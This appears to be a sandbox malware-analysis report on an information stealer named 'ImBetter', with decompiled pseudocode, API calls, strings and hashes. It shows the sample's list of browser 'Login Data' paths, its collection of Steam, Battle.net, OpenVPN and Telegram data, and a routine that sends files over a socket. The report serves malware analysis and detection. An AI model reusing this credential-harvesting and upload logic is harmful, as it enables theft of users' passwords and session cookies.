String ID: "$?$AcWebBr$AcWebBrowser\User Data\Default\Login Data$Baidu$Baidu Spark\User Data\Default\Login Data$BlackHa$BlackHawk\User Data\Default\Login Data$Brave$BraveSoftware\Brave-Browser\User DataDefault\Login Data$Cent$CentBrowser\User Data\Default\Login Data$Chrome$Comodo$Comodo\Dragon\User Data\Default\Login Data$CoolNov$CoolNovo\User Data\Default\Login Data$Edge$Epic$Epic Browser\User Data\Default\Login Data$Flock$Flock\User Data\Default\Login Data$Go!$Go!\User Data\Default\Login Data$Google\Chrome\User Data\Default\Login Data$Microsoft\Edge\User Data\Default\Login Data$Opera$Opera Software\Opera Stable\Login Data$RockMe$Rockmelt\User Data\Default\Login Data$SRWare$SRWare Iron\User Data\Default\Login Data$Sleipnir$Sleipnir\User Data\Default\Login Data$Titan$Titan Browser\User Data\Default\Login Data$Torch$Torch\User Data\Default\Login Data$Vivaldi$Vivaldi\User Data\Default\Login Data$Yandex$Yandex\YandexBrowser\User Data\Default\Login Data$~
API String ID: 2277398295-3824793962
Opcode ID: 66ac9d22fcf81c7c6c7559e7c303a3c7a931a993033c7e2225491dcb80397b8f
Instruction ID: 5c14d9bf1b99b913f3af92908bc1df00a4090bb07437b8f4cf26732e24e31698
Opcode Fuzzy Hash: 66ac9d22fcf81c7c6c7559e7c303a3c7a931a993033c7e2225491dcb80397b8f
Instruction Fuzzy Hash: 23A25522928AC695E760EF34DC453EAB720FF9434CF906232E68D4695AEF78D385C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0C7E0 Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 395
sleepnetworkCOMMONCrypto

Download Yara Rule

C-Code - Quality: 17%

			E00007FF77FF7E6B0C7E0(void* __rcx, long long __rdx, long long __r8, long long __r9) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t123;
				signed char _t134;
				signed char _t136;
				void* _t138;
				signed long long _t173;
				void* _t179;
				void* _t182;
				void* _t190;
				long long _t192;
				intOrPtr _t222;
				void* _t244;
				signed long long _t253;
				void* _t256;
				void* _t259;
				intOrPtr _t263;
				intOrPtr _t268;
				intOrPtr _t271;
				intOrPtr _t274;
				intOrPtr _t277;
				char* _t280;
				char* _t281;
				void* _t282;
				void* _t283;
				signed long long _t284;
				intOrPtr* _t295;
				char* _t296;
				char* _t300;

				_t293 = __r9;
				_t282 = _t283 - 0x108;
				_t284 = _t283 - 0x208;
				_t173 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t282 + 0xf0) = _t173 ^ _t284;
				_t281 = __r9;
				_t300 = __r8;
				_t280 = __rdx;
				 *((long long*)(_t284 + 0x40)) = __rdx;
				 *((long long*)(_t284 + 0x48)) = __r8;
				 *((long long*)(_t284 + 0x50)) = __r9;
				if ( *((intOrPtr*)(__rdx + 0x10)) - _t190 <= 0) goto 0xe6b0cbcb;
				E00007FF77FF7E6B1BFD0(_t123, _t190, _t282 - 0x58, __r9, __r8);
				_t244 =  >=  ?  *((void*)(_t282 - 0x58)) : _t282 - 0x58;
				r9d = 0;
				r8d =  *(_t282 - 0x48);
				__imp__#19();
				0xe6b09f60();
				0xe6b0a220();
				Sleep(??);
				r8d = 0x118;
				E00007FF77FF7E6B3EA30();
				E00007FF77FF7E6B0DA20(_t190, _t282 - 0x30, __r9);
				if ( *((long long*)(_t280 + 0x18)) - 0x10 < 0) goto 0xe6b0c8ad;
				0xe6b0b400();
				0xe6b09f60();
				if ( *((long long*)(_t280 + 0x18)) - 0x10 < 0) goto 0xe6b0c8d2;
				E00007FF77FF7E6B0FA30(_t190, _t282 - 0x30,  *_t280, _t281,  *((intOrPtr*)(_t280 + 0x10)), _t293);
				if ( *((long long*)(_t282 + 0x68)) == 0) goto 0xe6b0cb4d;
				if ( *((long long*)(_t280 + 0x18)) - 0x10 < 0) goto 0xe6b0c8f7;
				 *((long long*)(_t284 + 0x60)) =  *_t280;
				 *((long long*)(_t284 + 0x68)) =  *((intOrPtr*)(_t280 + 0x10));
				asm("movaps xmm0, [esp+0x60]");
				asm("movdqa [esp+0x60], xmm0");
				E00007FF77FF7E6B03900(0, _t138,  *_t280, _t190, _t284 + 0x20, _t284 + 0x60, _t282);
				_t205 =  >=  ?  *((void*)(_t284 + 0x20)) : _t284 + 0x20;
				r9d = 0xffffffff;
				r8d = 9;
				if (E00007FF77FF7E6B435A8(0x190,  *((long long*)(_t284 + 0x38)) - 8, _t190,  >=  ?  *((void*)(_t284 + 0x20)) : _t284 + 0x20, _t284 + 0x60, _t281, _t293) != 0) goto 0xe6b0ccec;
				r15d = r15d + 1;
				_t253 =  *((intOrPtr*)(_t284 + 0x38));
				if (_t253 - 8 < 0) goto 0xe6b0c995;
				if (2 + _t253 * 2 - 0x1000 < 0) goto 0xe6b0c990;
				_t179 =  *((intOrPtr*)(_t284 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x20)) - 8)) + 0xfffffff8;
				if (_t179 - 0x1f > 0) goto 0xe6b0cce0;
				E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x20)) - 8)));
				E00007FF77FF7E6B3CAF8(0, r15d);
				_t256 = _t179;
				E00007FF77FF7E6B0DC40(r15d, _t282 - 0x30, _t256, _t281, r15d);
				E00007FF77FF7E6B0DDC0(r15d, r15d, _t281);
				0xe6b0a220();
				r8d = r15d;
				if (r15d >= 0) goto 0xe6b0ca10;
				r8d =  ~r8d;
				_t295 = _t284 + 0x75 - 1;
				_t134 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t179 + _t256 + _t179 + _t256;
				r8b = r8b + 0x30;
				 *_t295 = r8b;
				r8d = _t134;
				if (_t134 != 0) goto 0xe6b0c9d2;
				_t296 = _t295 - 1;
				 *_t296 = 0x2d;
				goto 0xe6b0ca3a;
				asm("o16 nop [eax+eax]");
				_t136 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t179 + _t256 + _t179 + _t256;
				r8b = r8b + 0x30;
				 *((intOrPtr*)(_t296 - 1)) = r8b;
				r8d = _t136;
				if (_t136 != 0) goto 0xe6b0ca10;
				E00007FF77FF7E6B03630((_t136 & 0x000000ff) << 2, _t282 - 0x80, _t296 - 1, _t284 + 0x75);
				_t259 =  >=  ?  *((void*)(_t282 - 0x80)) : _t282 - 0x80;
				r9d = 0;
				r8d =  *(_t282 - 0x70);
				__imp__#19();
				0xe6b09f60();
				0xe6b0a220();
				Sleep(??);
				r9d = 0;
				r8d = r15d;
				__imp__#19();
				E00007FF77FF7E6B3CAF0(_t136, _t179);
				0xe6b09f60();
				0xe6b0a220();
				_t263 =  *((intOrPtr*)(_t282 - 0x68));
				if (_t263 - 0x10 < 0) goto 0xe6b0cafd;
				if (_t263 + 1 - 0x1000 < 0) goto 0xe6b0caf8;
				_t182 =  *((intOrPtr*)(_t282 - 0x80)) -  *((intOrPtr*)( *((intOrPtr*)(_t282 - 0x80)) - 8)) + 0xfffffff8;
				if (_t182 - 0x1f > 0) goto 0xe6b0cce6;
				E00007FF77FF7E6B3CAF0(_t136,  *((intOrPtr*)( *((intOrPtr*)(_t282 - 0x80)) - 8)));
				E00007FF77FF7E6B0F930(0x64, _t136, r15d, _t282 - 0x18, _t282);
				if (_t182 != 0) goto 0xe6b0cb6a;
				_t222 =  *((intOrPtr*)( *((intOrPtr*)(_t282 - 0x30)) + 4));
				_t111 =  !=  ? 2 : 6;
				_t112 = ( !=  ? 2 : 6) |  *(_t282 + _t222 - 0x20);
				_t113 = (( !=  ? 2 : 6) |  *(_t282 + _t222 - 0x20)) & 0x00000017;
				 *(_t282 + _t222 - 0x20) = 6;
				_t114 = (( !=  ? 2 : 6) |  *(_t282 + _t222 - 0x20)) & 0x00000017 &  *(_t282 + _t222 - 0x1c);
				if ( *((long long*)(_t282 + _t222 + 0x18)) == 0) goto 0xe6b0cb6a;
				if (((( !=  ? 2 : 6) |  *(_t282 + _t222 - 0x20)) & 0x00000017 &  *(_t282 + _t222 - 0x1c) & 0x00000004) == 0) goto 0xe6b0cd00;
				_t192 = "ios_base::badbit set";
				goto 0xe6b0cd14;
				0xe6b09f60();
				0xe6b0a220();
				goto 0xe6b0caff;
				0xe6b09f60();
				0xe6b0a220();
				0xe6b0c6e0();
				_t268 =  *((intOrPtr*)(_t282 - 0x40));
				if (_t268 - 0x10 < 0) goto 0xe6b0cbcb;
				if (_t268 + 1 - 0x1000 < 0) goto 0xe6b0cbc6;
				if ( *((intOrPtr*)(_t282 - 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t282 - 0x58)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0cd43;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *((intOrPtr*)(_t282 - 0x58)) - 8)));
				Sleep(??);
				_t271 =  *((intOrPtr*)(_t280 + 0x18));
				if (_t271 - 0x10 < 0) goto 0xe6b0cc11;
				if (_t271 + 1 - 0x1000 < 0) goto 0xe6b0cc0c;
				if ( *_t280 -  *((intOrPtr*)( *_t280 - 8)) - 8 - 0x1f > 0) goto 0xe6b0cd49;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *_t280 - 8)));
				 *((long long*)(_t280 + 0x10)) = _t192;
				 *((long long*)(_t280 + 0x18)) = 0xf;
				 *_t280 = 0;
				_t274 =  *((intOrPtr*)(_t300 + 0x18));
				if (_t274 - 0x10 < 0) goto 0xe6b0cc5a;
				if (_t274 + 1 - 0x1000 < 0) goto 0xe6b0cc55;
				if ( *_t300 -  *((intOrPtr*)( *_t300 - 8)) - 8 - 0x1f > 0) goto 0xe6b0ccd4;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *_t300 - 8)));
				 *((long long*)(_t300 + 0x10)) = _t192;
				 *((long long*)(_t300 + 0x18)) = 0xf;
				 *_t300 = 0;
				_t277 =  *((intOrPtr*)(_t281 + 0x18));
				if (_t277 - 0x10 < 0) goto 0xe6b0cca0;
				if (_t277 + 1 - 0x1000 < 0) goto 0xe6b0cc9b;
				if ( *_t281 -  *((intOrPtr*)( *_t281 - 8)) - 8 - 0x1f > 0) goto 0xe6b0ccda;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *_t281 - 8)));
				 *((long long*)(_t281 + 0x10)) = _t192;
				 *((long long*)(_t281 + 0x18)) = 0xf;
				 *_t281 = 0;
				return E00007FF77FF7E6B3C7F0(0, 0x64,  *(_t282 + 0xf0) ^ _t284);
			}

0x7ff7e6b0c7e0
0x7ff7e6b0c7ed
0x7ff7e6b0c7f5
0x7ff7e6b0c7fc
0x7ff7e6b0c806
0x7ff7e6b0c80d
0x7ff7e6b0c810
0x7ff7e6b0c813
0x7ff7e6b0c819
0x7ff7e6b0c81e
0x7ff7e6b0c823
0x7ff7e6b0c82e
0x7ff7e6b0c83b
0x7ff7e6b0c84a
0x7ff7e6b0c84f
0x7ff7e6b0c852
0x7ff7e6b0c859
0x7ff7e6b0c86d
0x7ff7e6b0c875
0x7ff7e6b0c87f
0x7ff7e6b0c887
0x7ff7e6b0c891
0x7ff7e6b0c89a
0x7ff7e6b0c8a8
0x7ff7e6b0c8b1
0x7ff7e6b0c8c0
0x7ff7e6b0c8cd
0x7ff7e6b0c8d6
0x7ff7e6b0c8e0
0x7ff7e6b0c8f2
0x7ff7e6b0c8f7
0x7ff7e6b0c8fc
0x7ff7e6b0c901
0x7ff7e6b0c906
0x7ff7e6b0c916
0x7ff7e6b0c927
0x7ff7e6b0c92d
0x7ff7e6b0c933
0x7ff7e6b0c945
0x7ff7e6b0c950
0x7ff7e6b0c953
0x7ff7e6b0c95c
0x7ff7e6b0c975
0x7ff7e6b0c982
0x7ff7e6b0c98a
0x7ff7e6b0c990
0x7ff7e6b0c99b
0x7ff7e6b0c9a6
0x7ff7e6b0c9ad
0x7ff7e6b0c9b5
0x7ff7e6b0c9bd
0x7ff7e6b0c9c7
0x7ff7e6b0c9cd
0x7ff7e6b0c9cf
0x7ff7e6b0c9d2
0x7ff7e6b0c9dd
0x7ff7e6b0c9eb
0x7ff7e6b0c9ee
0x7ff7e6b0c9f2
0x7ff7e6b0c9f5
0x7ff7e6b0c9fa
0x7ff7e6b0c9fc
0x7ff7e6b0c9ff
0x7ff7e6b0ca03
0x7ff7e6b0ca05
0x7ff7e6b0ca1b
0x7ff7e6b0ca29
0x7ff7e6b0ca2c
0x7ff7e6b0ca30
0x7ff7e6b0ca33
0x7ff7e6b0ca38
0x7ff7e6b0ca46
0x7ff7e6b0ca55
0x7ff7e6b0ca5a
0x7ff7e6b0ca5d
0x7ff7e6b0ca64
0x7ff7e6b0ca74
0x7ff7e6b0ca7c
0x7ff7e6b0ca86
0x7ff7e6b0ca8c
0x7ff7e6b0ca8f
0x7ff7e6b0ca98
0x7ff7e6b0caa1
0x7ff7e6b0cab4
0x7ff7e6b0cabc
0x7ff7e6b0cac2
0x7ff7e6b0caca
0x7ff7e6b0cadd
0x7ff7e6b0caea
0x7ff7e6b0caf2
0x7ff7e6b0caf8
0x7ff7e6b0cb03
0x7ff7e6b0cb0b
0x7ff7e6b0cb11
0x7ff7e6b0cb25
0x7ff7e6b0cb28
0x7ff7e6b0cb2c
0x7ff7e6b0cb2f
0x7ff7e6b0cb33
0x7ff7e6b0cb37
0x7ff7e6b0cb3b
0x7ff7e6b0cb41
0x7ff7e6b0cb48
0x7ff7e6b0cb5b
0x7ff7e6b0cb63
0x7ff7e6b0cb68
0x7ff7e6b0cb78
0x7ff7e6b0cb80
0x7ff7e6b0cb8a
0x7ff7e6b0cb90
0x7ff7e6b0cb98
0x7ff7e6b0cbab
0x7ff7e6b0cbc0
0x7ff7e6b0cbc6
0x7ff7e6b0cbd0
0x7ff7e6b0cbd7
0x7ff7e6b0cbdf
0x7ff7e6b0cbee
0x7ff7e6b0cc03
0x7ff7e6b0cc0c
0x7ff7e6b0cc11
0x7ff7e6b0cc15
0x7ff7e6b0cc1d
0x7ff7e6b0cc20
0x7ff7e6b0cc28
0x7ff7e6b0cc37
0x7ff7e6b0cc4c
0x7ff7e6b0cc55
0x7ff7e6b0cc5a
0x7ff7e6b0cc5e
0x7ff7e6b0cc66
0x7ff7e6b0cc6a
0x7ff7e6b0cc72
0x7ff7e6b0cc81
0x7ff7e6b0cc96
0x7ff7e6b0cc9b
0x7ff7e6b0cca0
0x7ff7e6b0cca4
0x7ff7e6b0ccac
0x7ff7e6b0ccd3

APIs

send.WS2_32 ref: 00007FF7E6B0C859
Sleep.KERNEL32 ref: 00007FF7E6B0C87F
send.WS2_32 ref: 00007FF7E6B0CA64
Sleep.KERNEL32 ref: 00007FF7E6B0CBD0

Strings

ios_base::eofbit set, xrefs: 00007FF7E6B0CD09
wait in close, xrefs: 00007FF7E6B0CB6A
file open error!, xrefs: 00007FF7E6B0CB4D
ios_base::failbit set, xrefs: 00007FF7E6B0CD02
START SENDING, xrefs: 00007FF7E6B0C85F
ios_base::badbit set, xrefs: 00007FF7E6B0CB41
wait in send, xrefs: 00007FF7E6B0CAA6
file_size, xrefs: 00007FF7E6B0CCF3

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Sleepsend
String ID: START SENDING$file open error!$file_size$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$wait in close$wait in send
API String ID: 3569362012-2290316196
Opcode ID: a7234cb4de2ee05c34d6a0d354bc100681f10b7c0e221d1ad9f0c38ac4bfdbb1
Instruction ID: 1b2fb8d5c6798ac7f4172b6ed84047115dfd8bc33bb6dd967eadab2525a09b42
Opcode Fuzzy Hash: a7234cb4de2ee05c34d6a0d354bc100681f10b7c0e221d1ad9f0c38ac4bfdbb1
Instruction Fuzzy Hash: 41F1F262B2864685EB00FB29DC547BEB761FB44B88FE04132DA5D47A9ADF3CD480C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B19150 Relevance: 35.3, APIs: 8, Strings: 12, Instructions: 340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF7E6B19150(void* __ebx, void* __ecx, void* __edx, void* __eflags, long long __rbx, long long __rcx, long long __rdi, long long __rsi, void* __r8, void* __r9, void* __r12, void* __r13, void* __r14, void* __r15) {
				void* __rbp;
				long long _t218;
				signed long long _t280;
				signed long long _t283;
				signed long long _t286;
				signed long long _t289;
				signed long long _t292;
				signed long long _t295;
				signed long long _t298;
				signed long long _t301;
				long long _t307;
				void* _t309;
				short* _t310;
				void* _t312;
				void* _t313;
				void* _t315;
				void* _t318;

				_t323 = __r15;
				_t322 = __r14;
				_t321 = __r13;
				_t320 = __r12;
				_t315 = __r8;
				_t307 = __rsi;
				_t156 = __ebx;
				 *((long long*)(_t312 + 0x10)) = __rbx;
				 *((long long*)(_t312 + 0x18)) = __rsi;
				 *((long long*)(_t312 + 0x20)) = __rdi;
				_t310 = _t312 - 0x1d0;
				_t313 = _t312 - 0x2d0;
				_t218 = __rcx;
				 *((long long*)(_t310 + 0x40)) = __rcx;
				 *((intOrPtr*)(_t313 + 0x20)) = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [ecx], xmm0");
				_t186 = "Steam\\htmlcache\\Cookies";
				 *((long long*)(_t313 + 0x30)) = "Steam\\htmlcache\\Cookies";
				 *((long long*)(_t313 + 0x38)) = 0x17;
				E00007FF77FF7E6B03900(__ebx, 0, "Steam\\htmlcache\\Cookies", __rcx, _t310 + 0x20, _t313 + 0x30, _t310, _t309);
				 *((intOrPtr*)(_t313 + 0x20)) = 2;
				E00007FF77FF7E6B09B50("Steam\\htmlcache\\Cookies", _t218, _t310 - 0x60, 0xe6b6bcd0);
				 *((intOrPtr*)(_t313 + 0x20)) = 6;
				E00007FF77FF7E6B11990(_t186, _t310 - 0x60, _t310 + 0x20, _t310, __r12, __r13, __r14, __r15);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x60], xmm1");
				_t16 = _t307 + 0xc; // 0xc
				r8d = _t16;
				E00007FF77FF7E6B02FD0(_t218, _t310 + 0x50, "SteamCookies", _t315);
				asm("movups xmm1, [ebp-0x60]");
				asm("movaps [ebp+0x70], xmm1");
				asm("movups xmm0, [ebp-0x50]");
				asm("movaps [ebp+0x80], xmm0");
				asm("movdqa xmm1, [0x48320]");
				asm("movdqu [ebp-0x50], xmm1");
				 *((short*)(_t310 - 0x60)) = 0;
				_t187 = "Steam\\htmlcache\\Local Storage\\leveldb";
				 *((long long*)(_t313 + 0x30)) = "Steam\\htmlcache\\Local Storage\\leveldb";
				 *((long long*)(_t313 + 0x38)) = 0x25;
				E00007FF77FF7E6B03900(_t156, 0, "Steam\\htmlcache\\Local Storage\\leveldb", _t218, _t310, _t313 + 0x30, _t310);
				 *((intOrPtr*)(_t313 + 0x20)) = 0xe;
				E00007FF77FF7E6B09B50("Steam\\htmlcache\\Local Storage\\leveldb", _t218, _t310 - 0x80, 0xe6b6bcd0);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x1e;
				E00007FF77FF7E6B11990(_t187, _t310 - 0x80, _t310, _t310, _t320, _t321, _t322, _t323);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xa0], xmm1");
				_t26 = _t307 + 7; // 0x7
				r8d = _t26;
				E00007FF77FF7E6B02FD0(_t218, _t310 + 0x90, "SteamDB", _t315);
				asm("movups xmm1, [ebp-0x80]");
				asm("movaps [ebp+0xb0], xmm1");
				asm("movups xmm0, [ebp-0x70]");
				asm("movaps [ebp+0xc0], xmm0");
				asm("movdqa xmm1, [0x4827d]");
				asm("movdqu [ebp-0x70], xmm1");
				 *((short*)(_t310 - 0x80)) = 0;
				_t188 = "Battle.net\\BrowserCache\\Cookies";
				 *((long long*)(_t313 + 0x30)) = "Battle.net\\BrowserCache\\Cookies";
				 *((long long*)(_t313 + 0x38)) = 0x1f;
				E00007FF77FF7E6B03900(_t156, 0, "Battle.net\\BrowserCache\\Cookies", _t218, _t310 - 0x20, _t313 + 0x30, _t310);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x3e;
				E00007FF77FF7E6B09B50("Battle.net\\BrowserCache\\Cookies", _t218, _t313 + 0x60, 0xe6b6bcd0);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x7e;
				E00007FF77FF7E6B11990(_t188, _t313 + 0x60, _t310 - 0x20, _t310, _t320, _t321, _t322, _t323);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xd0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xe0], xmm1");
				_t38 = _t307 + 0x10; // 0x10
				r8d = _t38;
				E00007FF77FF7E6B02FD0(_t218, _t310 + 0xd0, "BattleNetCookies", _t315);
				asm("movups xmm1, [esp+0x60]");
				asm("movaps [ebp+0xf0], xmm1");
				asm("movups xmm0, [esp+0x70]");
				asm("movaps [ebp+0x100], xmm0");
				asm("movdqa xmm1, [0x481d6]");
				asm("movdqu [esp+0x70], xmm1");
				 *((short*)(_t313 + 0x60)) = 0;
				_t189 = "Battle.net\\CachedData";
				 *((long long*)(_t313 + 0x30)) = "Battle.net\\CachedData";
				 *((long long*)(_t313 + 0x38)) = 0x15;
				E00007FF77FF7E6B03900(_t156, 0, "Battle.net\\CachedData", _t218, _t310 - 0x40, _t313 + 0x30, _t310);
				 *((intOrPtr*)(_t313 + 0x20)) = 0xfe;
				E00007FF77FF7E6B09B50("Battle.net\\CachedData", _t218, _t313 + 0x40, 0xe6b6bcd0);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x1fe;
				E00007FF77FF7E6B11990(_t189, _t313 + 0x40, _t310 - 0x40, _t310, _t320, _t321, _t322, _t323);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x110], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x120], xmm1");
				_t50 = _t307 + 0xa; // 0xa
				r8d = _t50;
				E00007FF77FF7E6B02FD0(_t218, _t310 + 0x110, "BattlNetDB", _t315);
				asm("movups xmm1, [esp+0x40]");
				asm("movaps [ebp+0x130], xmm1");
				asm("movups xmm0, [esp+0x50]");
				asm("movaps [ebp+0x140], xmm0");
				asm("movdqa xmm1, [0x4812d]");
				asm("movdqu [esp+0x50], xmm1");
				 *((short*)(_t313 + 0x40)) = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x150], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x160], xmm1");
				_t53 = _t307 + 7; // 0x7
				r8d = _t53;
				E00007FF77FF7E6B02FD0(_t218, _t310 + 0x150, "OpenVPN", _t315);
				 *((long long*)(_t313 + 0x30)) = 0xe6b5dda3;
				 *((long long*)(_t313 + 0x38)) = __rsi;
				E00007FF77FF7E6B03900(_t156, 0, _t189, _t218, _t310 + 0x170, _t313 + 0x30, _t310);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x3fe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x190], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1a0], xmm1");
				_t60 = _t307 + 8; // 0x8
				r8d = _t60;
				E00007FF77FF7E6B02FD0(_t218, _t310 + 0x190, "Telegram", _t315);
				 *((long long*)(_t313 + 0x30)) = 0xe6b5dda3;
				 *((long long*)(_t313 + 0x38)) = __rsi;
				E00007FF77FF7E6B03900(_t156, 0, _t189, _t218, _t310 + 0x1b0, _t313 + 0x30, _t310);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x7fe;
				 *((long long*)(_t313 + 0x30)) = _t310 + 0x50;
				 *((long long*)(_t313 + 0x38)) = _t310 + 0x1d0;
				E00007FF77FF7E6B1C910(_t310 + 0x1d0, _t218, _t218, _t313 + 0x30, _t318);
				 *((intOrPtr*)(_t313 + 0x20)) = 0x7ff;
				_t74 = _t307 + 0x40; // 0x40
				_t159 = _t74;
				_t75 = _t307 + 6; // 0x6
				r8d = _t75;
				E00007FF77FF7E6B3CD7C(_t310 + 0x50, _t313 + 0x30, _t315, 0x7ff7e6b0b810);
				_t280 =  *((intOrPtr*)(_t313 + 0x58));
				if (_t280 - 8 < 0) goto 0xe6b19539;
				_t243 =  *((intOrPtr*)(_t313 + 0x40));
				if (2 + _t280 * 2 - 0x1000 < 0) goto 0xe6b19534;
				if ( *((intOrPtr*)(_t313 + 0x40)) -  *((intOrPtr*)(_t243 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b19794;
				E00007FF77FF7E6B3CAF0(_t74,  *((intOrPtr*)(_t243 - 8)));
				asm("movdqa xmm0, [0x47fef]");
				asm("movdqu [esp+0x50], xmm0");
				 *((short*)(_t313 + 0x40)) = 0;
				_t283 =  *((intOrPtr*)(_t310 - 0x28));
				if (_t283 - 8 < 0) goto 0xe6b1958c;
				_t245 =  *((intOrPtr*)(_t310 - 0x40));
				if (2 + _t283 * 2 - 0x1000 < 0) goto 0xe6b19587;
				if ( *((intOrPtr*)(_t310 - 0x40)) -  *((intOrPtr*)(_t245 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b1979a;
				E00007FF77FF7E6B3CAF0(_t74,  *((intOrPtr*)(_t245 - 8)));
				asm("movdqa xmm0, [0x47f9c]");
				asm("movdqu [ebp-0x30], xmm0");
				 *((short*)(_t310 - 0x40)) = 0;
				_t286 =  *((intOrPtr*)(_t313 + 0x78));
				if (_t286 - 8 < 0) goto 0xe6b195df;
				_t247 =  *((intOrPtr*)(_t313 + 0x60));
				if (2 + _t286 * 2 - 0x1000 < 0) goto 0xe6b195da;
				if ( *((intOrPtr*)(_t313 + 0x60)) -  *((intOrPtr*)(_t247 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b197a0;
				E00007FF77FF7E6B3CAF0(_t74,  *((intOrPtr*)(_t247 - 8)));
				asm("movdqa xmm0, [0x47f49]");
				asm("movdqu [esp+0x70], xmm0");
				 *((short*)(_t313 + 0x60)) = 0;
				_t289 =  *((intOrPtr*)(_t310 - 8));
				if (_t289 - 8 < 0) goto 0xe6b19632;
				_t249 =  *((intOrPtr*)(_t310 - 0x20));
				if (2 + _t289 * 2 - 0x1000 < 0) goto 0xe6b1962d;
				if ( *((intOrPtr*)(_t310 - 0x20)) -  *((intOrPtr*)(_t249 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b197a6;
				E00007FF77FF7E6B3CAF0(_t159,  *((intOrPtr*)(_t249 - 8)));
				asm("movdqa xmm0, [0x47ef6]");
				asm("movdqu [ebp-0x10], xmm0");
				 *((short*)(_t310 - 0x20)) = 0;
				_t292 =  *((intOrPtr*)(_t310 - 0x68));
				if (_t292 - 8 < 0) goto 0xe6b19683;
				_t251 =  *((intOrPtr*)(_t310 - 0x80));
				if (2 + _t292 * 2 - 0x1000 < 0) goto 0xe6b1967e;
				if ( *((intOrPtr*)(_t310 - 0x80)) -  *((intOrPtr*)(_t251 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b197ac;
				E00007FF77FF7E6B3CAF0(_t159,  *((intOrPtr*)(_t251 - 8)));
				asm("movdqa xmm0, [0x47ea5]");
				asm("movdqu [ebp-0x70], xmm0");
				 *((short*)(_t310 - 0x80)) = 0;
				_t295 =  *((intOrPtr*)(_t310 + 0x18));
				if (_t295 - 8 < 0) goto 0xe6b196d4;
				_t253 =  *_t310;
				if (2 + _t295 * 2 - 0x1000 < 0) goto 0xe6b196cf;
				if ( *_t310 -  *((intOrPtr*)(_t253 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b197b2;
				E00007FF77FF7E6B3CAF0(_t159,  *((intOrPtr*)(_t253 - 8)));
				asm("movdqa xmm0, [0x47e54]");
				asm("movdqu [ebp+0x10], xmm0");
				 *_t310 = 0;
				_t298 =  *((intOrPtr*)(_t310 - 0x48));
				if (_t298 - 8 < 0) goto 0xe6b19725;
				_t255 =  *((intOrPtr*)(_t310 - 0x60));
				if (2 + _t298 * 2 - 0x1000 < 0) goto 0xe6b19720;
				if ( *((intOrPtr*)(_t310 - 0x60)) -  *((intOrPtr*)(_t255 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b197b8;
				E00007FF77FF7E6B3CAF0(_t159,  *((intOrPtr*)(_t255 - 8)));
				asm("movdqa xmm0, [0x47e03]");
				asm("movdqu [ebp-0x50], xmm0");
				 *((short*)(_t310 - 0x60)) = 0;
				_t301 =  *((intOrPtr*)(_t310 + 0x38));
				if (_t301 - 8 < 0) goto 0xe6b19772;
				_t257 =  *((intOrPtr*)(_t310 + 0x20));
				if (2 + _t301 * 2 - 0x1000 < 0) goto 0xe6b1976d;
				if ( *((intOrPtr*)(_t310 + 0x20)) -  *((intOrPtr*)(_t257 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b1978e;
				return E00007FF77FF7E6B3CAF0(_t159,  *((intOrPtr*)(_t257 - 8)));
			}

0x7ff7e6b19150
0x7ff7e6b19150
0x7ff7e6b19150
0x7ff7e6b19150
0x7ff7e6b19150
